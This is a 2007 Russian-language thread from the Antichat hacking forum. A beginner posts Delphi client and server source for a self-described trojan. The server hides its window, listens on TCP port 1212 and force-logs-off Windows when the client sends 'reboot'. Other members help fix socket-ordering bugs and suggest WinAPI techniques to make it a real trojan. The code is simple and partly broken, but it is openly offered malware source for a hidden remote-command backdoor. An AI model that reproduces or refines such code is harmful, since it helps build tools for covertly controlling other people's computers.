HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Троян на Delphi
  #1  
Старый 04.06.2007, 17:15
S1nteZ
Banned
Регистрация: 04.06.2007
Сообщений: 3
Провел на форуме:
8801

Репутация: -13
По умолчанию Троян на Delphi

Я попробовал написать трой на Дельфи и уменя одна проблема:я испытовал трой на себе: включил сервер запускаю клиент ввожу свой внешний IP и он мне говорит 'No address specified' может это из-за порта? Вот код клиента:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Sockets, ScktComp;

type
TForm1 = class(TForm)
Button1: TButton;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
procedure TcpClient1Connect(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;

procedure TForm1.TcpClient1Connect(Sender: TObject);
begin
If RadioButton1.Checked then ClientSocket1.Socket.SendText('reboot');
If RadioButton2.Checked then ClientSocket1.Socket.SendText('vkl');
If RadioButton3.Checked then ClientSocket1.Socket.SendText('vykl');
end;

end.
А вот сервера:
nit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
hide;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=Socket.ReceiveText;
If s='reboot' then ExitWindowsEX(ewx_logoff, ewx_force);
end;

end.
 
Ответить с цитированием

  #2  
Старый 04.06.2007, 17:25
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


По умолчанию

Сначала адрес и порт, а потом уже открываешь.

З.Ы. А лучше юзай Win API (можно KOL, рулезная весчь) + WinSock. А то троян не получится =)
 
Ответить с цитированием

  #3  
Старый 04.06.2007, 19:35
0x0c0de
Постоянный
Регистрация: 25.05.2007
Сообщений: 448
Провел на форуме:
4226446

Репутация: 1564
По умолчанию

Если тестишь на одной машине, то не надо вводить внешний ip. Локальный надо 127.0.0.1
 
Ответить с цитированием

  #4  
Старый 04.06.2007, 19:42
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


По умолчанию

Повторяю.
Код:
ServerSocket1.Active:=True;
ServerSocket1.Port:=1212;
Ошибка. Сначала назначаем порт, а потом уже открываем
 
Ответить с цитированием

  #5  
Старый 04.06.2007, 22:04
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


По умолчанию

Цитата:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=True;
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Port:=1212;
end;
Цитата:
Ошибка. Сначала назначаем порт, а потом уже открываем

а с клиентом не то же самое?
 
Ответить с цитированием

  #6  
Старый 05.06.2007, 00:19
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


По умолчанию

Ну конечно. Ато хз к чему конектиться будет
 
Ответить с цитированием

  #7  
Старый 06.06.2007, 23:00
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


По умолчанию

Народ не тупой. просто навреное рано берется за сложные вещи.
Или не до конца понимает принципа работы.
 
Ответить с цитированием

  #8  
Старый 07.06.2007, 18:50
Gray_f0x
Постоянный
Регистрация: 31.05.2007
Сообщений: 308
Провел на форуме:
1863492

Репутация: 243
По умолчанию

Опа! круто вот с этого кода и начну изучать дельфи , а еще летом книжеки почитаю! Спасибо
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Small Delphi begin_end С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 10 11.11.2008 10:40
Троян Conycspa.AJ: 9 вирусов в «подарок» le_san Мировые новости. Обсуждения. 3 29.05.2007 09:41
Троян «маскируется» под Windows -сообщение le_san Мировые новости. Обсуждения. 5 24.05.2007 12:16
Новый троян для сотовых телефонов ~Fenix~ Мировые новости. Обсуждения. 5 07.03.2006 20:36



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.